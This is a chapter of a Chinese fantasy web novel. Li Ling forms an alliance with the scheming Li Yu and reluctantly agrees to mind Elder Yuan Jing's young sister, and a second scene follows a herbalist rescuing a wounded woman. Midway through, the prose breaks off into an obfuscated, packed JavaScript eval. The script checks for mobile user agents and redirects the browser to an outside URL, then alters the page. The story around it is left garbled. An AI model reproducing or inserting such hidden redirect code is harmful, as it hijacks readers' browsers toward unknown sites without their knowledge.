10. 肉疼

作品:《我要当大反派

    月色朦胧,树影摇曳。


    离凌恍恍惚惚地走回自己临时居住的山洞中。


    他体内的魔气又猖獗起来了……


    必须压制下去,否则后果不堪设想。


    离凌盘腿坐下,两股力量不断在他体内肆虐,恨不得撕碎他。剧烈的疼痛让他脸色发白,额间冷汗直冒。


    离凌颤着手拿出雷老给他的压制魔气的功法,生疏地运转。


    数日之后,离凌终于压制住了魔气。


    这是他第一次压制体内的魔气,待他日后熟练起来就不需要花这么长的时间了。


    离凌正要起身,发现怀中有什么东西。


    玉佩?


    是一个传音玉佩,他可没有这种东西。


    谁的?


    就在这时,传音玉佩亮了起来。


    “凌兄,来我这坐坐?”


    离语?看来是前几日打斗的时候放进来的,这人可真会算计。


    “什么事?”整天披着一张狐狸皮,鬼知道在那张温和的笑容下,肚子里兜了多少坏水。


    说实话,离凌并不想与他有过多的交际。他不是个斤斤计较的人,但也不会一直任人欺负,否则他不会主动解开封印。之前的仇,该报的,他都会一一讨回来。


    离语仿佛没有听出离凌语气中的敷衍,“你难道就不想报仇么?之前隐潮那般欺辱你……”


    两边都静默着,离语轻笑一声,主动打破寂静。


    他声音中带着蛊惑,说:“我可以帮你,我们联手吧。”


    “大少爷,你要知道,你在我这跟那些人没什么两样。”


    离语不知打着怎样的心思,竟然主动揭下了他那张逢人必笑的面具:“我只管利益,而你与我的利益并不冲突。离凌,我将会是你最满意的盟友。我在竹园等你,你可不要迟到了。”


    还不待离凌说话,玉佩的光已经熄了。


    “……”


    ·


    离凌到时,离语已经在竹园等着了。他手中摇着一把青竹扇,淡笑道:“我可是在这等了你许久,就怕你不来了。”


    离凌跟着离语渡步走到竹园旁的雷安河,十分不悦,“找我来什么事。”


    “谈心。增加一下我们之间微不可见的信任。”离语举扇轻挥,一架木船就出现在了河岸旁。


    两人一起上了船,清风拂面,水波浮动。


    离凌坐好,难得开玩笑道:“我这是上了贼船?”


    “上得来下不去的,自然是贼船。”离语为离凌倒上茶,举杯对离凌说道:“今日我以茶代酒敬凌兄一杯。”


    离凌并没有喝,他从小就生活在隐潮最下层,那里没有所谓的讲道理,拳头硬的才有话语权。所以他不喜欢那些带着算计谋划的弯弯绕绕,直白道:“你究竟有什么目的。”


    “目的?”离凌放下茶盏:“自然是为了成为隐潮之主。”


    离凌眼中一震,稍微一想,觉得没什么问题。


    隐潮族长以德服人,但离泽是个例外,他是靠争权上位了。


    上一任隐潮族长是离泽的弟弟离芜,离芜在位期间勤俭爱民治理有方,隐潮子民都很爱戴这位百年难得一遇的族长。


    令隐潮人惋惜的是,离芜在一次外域事务中不幸身陨。偌大的隐潮不能没有族长,悲痛之余,隐潮需要一位德贤兼备的族长。


    当时,一众隐潮长老中离泽因为心性不佳,是最没有可能当选族长之位的。但,“意外”总是那么巧,大选前一日,备选的长老不是暴毙就是主动放弃了参选,最后就只剩下离泽了。


    不是没有人反对,但都被离泽杀了。


    离泽为了赢取民心,这些年来装作亲民和蔼的样子,倒是让隐潮子民都忘了他上位之前是个什么心性。


    狗都改不了吃那个东西,离泽就更不用说了,离凌从不相信离泽会改变。


    离凌之所以知道这些,还是因为雷老那有很多关于五族的史册,他闲来无事的时候就会把那些当作话本子看,日复一日,五族过去那些事,他也就知道个七七八八了。


    离凌看了离语一眼,暗自想,他们两个有些时候还真是像,都披着张狐狸面皮。


    不过五族选族长还有一个众人皆知的潜规则——血脉纯正。


    “据我所知,你好像是隐潮旁支的吧?”


    离语笑笑不语。


    没否认,那就是承认了。


    离语将手中的茶一口灌下,嗤笑一声:“血脉?”


    “我不需要那些,只要有足够的实力,他们自然会以我为首。”


    离凌怔了怔,不得不说他与离语的想法不谋而合了。


    木船缓缓地移动,绕过前方的一个小弯道,本是两岸荒芜夜草,过了弯道,入目青绿,一副生机勃勃的美丽。


    看似无可解破的死局,也许在下一刻就会重现转机。


    离凌拿起桌上的茶,轻抿了一口:“我可以帮你,但不是事事都帮。”离泽本就是他想扳倒的人,现在多了个帮手,他可以顺理成章地借刀杀人,何乐而不为?


    “合作愉快。”


    ·


    黄昏渐过,夜幕边缘残留几点晚霞的星火,照着极少有人走过的荒凉野径。


    离凌走在回山洞的路上,凉风吹动矮草,带着浅淡的杀意。


    离凌眼光瞬间犀利地起来,他拔剑转身,看向不远处那棵孤零零的枯树。


    “出来。”


    平淡的语气,却冰冷无比,仿佛那人再不出来他就要一剑砍了这树。


    “是我。”


    离凌有些意外:“……源长老。”


    来人正是青崖二长老源旌。


    离凌眼中的凌厉减了几分,但并没有因为是源旌而放松警惕,他的手还压在剑柄上。


    “我今日来,是有事相求,小友不用紧张。”


    离凌脸上短暂地闪过疑惑,道:“愿闻其详。”


    源旌并没有直接说,而是微微转过身,对枯树说道:“霜儿,出来。”


    树后的人没有立马出来,像是考虑了好一会儿,才探出来个一脚,随后冒出个毛绒绒的小脑袋。


    夜色渐浓,离凌看不清那人的长相,但凭着轮廓应该是个小姑娘,不高,才到离凌胸口。


    源旌介绍道:“这是我妹妹,叫源霜,有点害羞,让你见怪了。”


    离凌心中打着嘀咕,源旌这有点过于客气了,与之前向自己讨债的样子简直一个天一个地。


    刚走一个离语,又来一个一肚子坏水的,离凌腹诽着,先一步开口:“晚辈能力有限,不知能帮前辈些什么?”


    “这个……”源旌有点不知道该如何说。


    “源长老既然无事,那晚辈就先走了。”说着离凌拔腿就要走。


    源旌急道:“等一下。”


    “真的是有事相求,我想把自家小妹托付给你一段时间。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059908|179165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>离凌看着枯树后那个小小的身影,面露诧异。


    源旌连忙补充道:“自然,也不是让你白帮忙。之前你欠青崖的药材我可以帮你还一半。”


    离凌眼中精光一闪,有些犹豫,他没照顾过小孩啊……


    源旌加码道:“八成。”


    八成!


    离凌有些惊讶,这可是不菲的价钱,青崖长老就是有钱。离凌思考着,又看了一眼那小孩的身影,暗想道,照顾个小孩应该不难吧?


    可以学!


    离凌正要答应,就听到源旌横声道:“十成!”


    “成交。”


    这么多药材,就算是青崖长老也出了不少血吧……这么不惜代价,看来这个妹妹对于源旌来说很重要了。


    源旌肉疼道:“出来,到凌哥哥那去。”


    “我……我不要……”小姑娘扒着枯树枝干,娇声含糊道。


    修行之人耳力都很好,离凌肯定是听到了的。


    源旌面露尴尬,他转身附在源霜耳旁说了什么。


    源霜有些惊讶地道:“你说真的?不许骗我。”


    “当然是真的。”


    源霜一双眼睛亮晶晶的,抓着树干的手毫不犹豫地放了下来。


    她扎着双马尾,小跑地跑到离凌面前,激动地看向他,脆生生道:“我可以叫你凌哥哥吗?”


    这丫头,不是怕他吗?怎么现在又一副看到宝贝的模样?


    离凌觉得有鬼,但事情已经答应下来,就没有出尔反尔的道理,他只得硬着头皮回应:“可以。”


    “哥哥可以叫我霜儿,我很乖的,不会给哥哥添乱的。”


    小丫头认真保证的样子莫名有些可爱,不过离凌在不久以后就不这么觉得了。


    他会觉得这简直就是个祸害!


    ·


    “阿父——你快过来,这里有个姐姐受伤昏迷了!”


    “丫头,你乖乖待在那,别过去啊,让阿父看看。”


    男人背上背着个小竹篓,里面装着几株带泥的灵药。


    “阿父,我在这呢!”


    四五岁的小女娃坐在土坡上,白嫩嫩的小手抓着一支紫色的野花,脸上的笑容天真无邪。


    药里看到女儿的笑脸,无奈又担忧地说:“小心点!别动,别摔着了。”


    药里走过去,把背上的药篓放下,然后半倚着身把女儿抱了上来。


    小女娃手指着山坡下,急忙晃着小手,催促:“阿父,下面有个姐姐受伤了,救救她么~”


    药里把女儿放在药篓里,“好,我们一起去。”


    “好~阿父最好了。”


    药里从小路走下山坡,就见一个红衣女子躺在血泊中。


    药里把药篓放下,对女儿说道:“乖乖地昂,阿父去去就回。”


    小女娃眼睛亮晶晶的,点点头,忙应道:“好!”


    待他走过去,就见那女子脸白如纸,气息微弱。


    受了这么严重的伤,肯定不简单,也不知道活不活得成。


    药里把了把脉,发现女子法力深厚,还有得救。他给对方喂了颗药丸,叹了口气,看来回家后又要被妻子叨叨一阵子了。


    “幺幺,咱们回家。”


    “姐姐也一起回家吗?”小女娃一双带着婴儿肥的手抓着药篓边缘,大大的眼睛直勾勾地盯着药里,让人不忍心拒绝。


    药里无奈又好笑道:“一起回去。”